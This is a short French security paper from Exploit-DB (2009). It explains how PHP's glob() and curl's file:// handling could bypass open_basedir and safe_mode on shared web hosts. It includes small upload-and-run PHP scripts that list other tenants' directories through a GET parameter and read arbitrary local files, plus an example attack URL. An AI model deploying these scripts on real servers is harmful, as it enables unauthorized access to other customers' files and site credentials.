[French] Faille Glob() & Curl()

EDB-ID:

12869

CVE:

N/A

Author:

Thibow

Type:

papers

Platform:

Multiple

Published:

2009-09-10

		..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..
		..::						 	  ::..
		..:: Faille Glob() & Curl()                       	  ::..  
		..:: Auteur: Thibow                              	  ::..
		..:: Niveau: Résumé facile                       	  ::..
		..:: Website: http://www.informatique-inside.com          ::..
		..:: Mail: webmaster [at] informatique-inside [dot] com   ::..
		..::						          ::..
		..:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..



Ces failles ont étaient utilisées a l"inssu des plus grands hébergeurs en 2006... 

=============================\
1. Glob()                    |
  ..1.1. Qu'est ce donc?     |
  ..1.2. Vulnérabilté        |
                             |
2. Curl()                    |
  ..2.1. Qu'est ce donc ?    |
  ..2.2. Vulnérabiltés       |
=============================/


1. Glob() 
  1.1. Qu'est donc ?

  Glob() est une fonction php, qui affiche les dossier ou fichier en fonction d'un certain masque. 
  Les règles de recherche sont les mêmes que dans les shell du système d'exploitation du serveur. 

  Voici un exemple php pour lister tout les fichier .php du dossier /coucou/:

  <?php 
    $files = glob("coucou/*.php"); 
    foreach ($files as $filename) { 
      echo "$filename \n"; 
  } 
  ?> 

  Il existe de nombreux paramètres possible, mais ce c'est pas le but de les expliquer ici. 

############################


  1.2 Vulnérabilités

  La faille réside dans une mauvaise gestion des droits de lecture lors de la configuration de php. 
  Sans rentrer dans les détails, cela provient d'une mauvaise configuration de open_basedir et de safe_mod dans php. 
  Nous allons donc créer un script, qui tout d'abord affiche si open_basedir et safe_mod sont activés ou non. 
  Ensuite utiliser glob au sens propre du terme. 

  Exemple: glob.php

  <?php 
    $dossier=$_GET['dossier'];                                   /*recupération du contenu de .php?dossier= */ 
    print "open_basedir: ".(bool)ini_get('open_basedir')."\n";   /*Verification open_basedir */ 
    print "safe_mode: ".ini_get('safe_mode')."\n\n";             /* Verification safe_mod */ 
    print_r(glob("{glob.php,/$dossier}",GLOB_BRACE));            /*affichage du dossier demand?*/ 
  ?> 

  Pour prendre un exemple concret, vous êtes sur un hébergeur, vous avez envoyé ce fichier. 
  Vous voulez savoir quel sont les autres hébergés que vous. 
  Souvent sur les serveurs unix, ils se trouvent dans /home/ . 
  Tapez donc: 

     http://website.com/votrecompte/glob.php?dossier=/home/ * 

  /home/* pour "tout" comme sur un shell dire de lister tout les fichiers (*) dans le dossier home (/home/).

  Pour plus d'aide et d'information glob(); visiter http://www.nexen.net/docs/php/annotee/function.glob.php 
  Je vous encourage d'ailleur a lire la documentation php de nexen très complète. 

C'est l'en semble des sites situés sur l'hébergeur cible, on peut donc
voir tout ce qui est contenu dans ces sites, sans pouvoir lire le
contenu des fichier.



############################


2. Curl() 
  2.1 Qu'est ce donc ? 

Curl est un outils de transfert de fichier par syntaxe url. Il envoit
des données par de nombreux protocols tel que HTTP, HTTPS, FTP, FTPS,
TFTP, GOPHER, DICT, TELNET, LDAP ou FILE.


############################


  2.2 Vulnérabilités

Dans notre cas nous allons nous interesser uniquement à l'utilisation de
curl avec PHP, vu les énormes possibilités offertes, je vais vous
expliquer certains exemples.
  La session curl doit etre initité, "configurée" puis executé avant d'etre fermée. 
  Un trés simple exemple permettant d'obtenir le contenu d'une page web. 

  <?php 
    $ch = curl_init(); 
    curl_setopt ($ch, CURLOPT_URL, "http://www.informatique-inside.com/page.html"); 
    curl_setopt ($ch, CURLOPT_HEADER, 0); 
    curl_exec ($ch); 
    curl_close ($ch); 
  ?> 

  Tout en sachant qu'ont pourrais faire avec FILE: 

    curl_setopt ($ch, CURLOPT_URL, "file:///home/informatique-inside.com/page.html"); 

  Ou bien avec un autre protocol supporté si le fichier existe. 

  Un exemple afin d'utilise POST sur un site distant:

  <?php 
    $ch = curl_init();                                                                      //Initialisation 
    curl_setopt($ch, CURLOPT_URL,"http://lesite/recup.php"); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS,"postvar1=value1&postvar2=value2&postvar3=value3"); //Paramètres
    curl_exec ($ch);                                                                        //execution 
    curl_close ($ch);                                                                       //fermeture
  ?> 

  C'est en effet une mauvaise restriction des dossiers avec FILE. 
  Voila le code: 

  <?php 
    $ch = curl_init($_GET['page']); 
    $file=curl_exec($ch); 
    echo $file 
  ?> 

De nombreux hébergeur ont été vitcimes d'attaques de type Glob() &
Curl() en 2006. Comme vous l'avez compris, la faille Glob() permettant
la lecture d'un chemin d'accès complet, et Curl() permettant la lecture
des fichiers, de nombreux accés a des sites ont étaient dérobés...



		..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..
		..::						 	  ::..
		..:: Faille Glob() & Curl()                    		  ::..  
		..:: Auteur: Thibow                             	  ::..
		..:: Niveau: Résumé facile                     		  ::..
		..:: Website: http://www.informatique-inside.com 	  ::..
		..:: Mail: webmaster [at] informatique-inside [dot] com   ::..
		..::							  ::..
		..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..

# milw0rm.com [2009-09-10]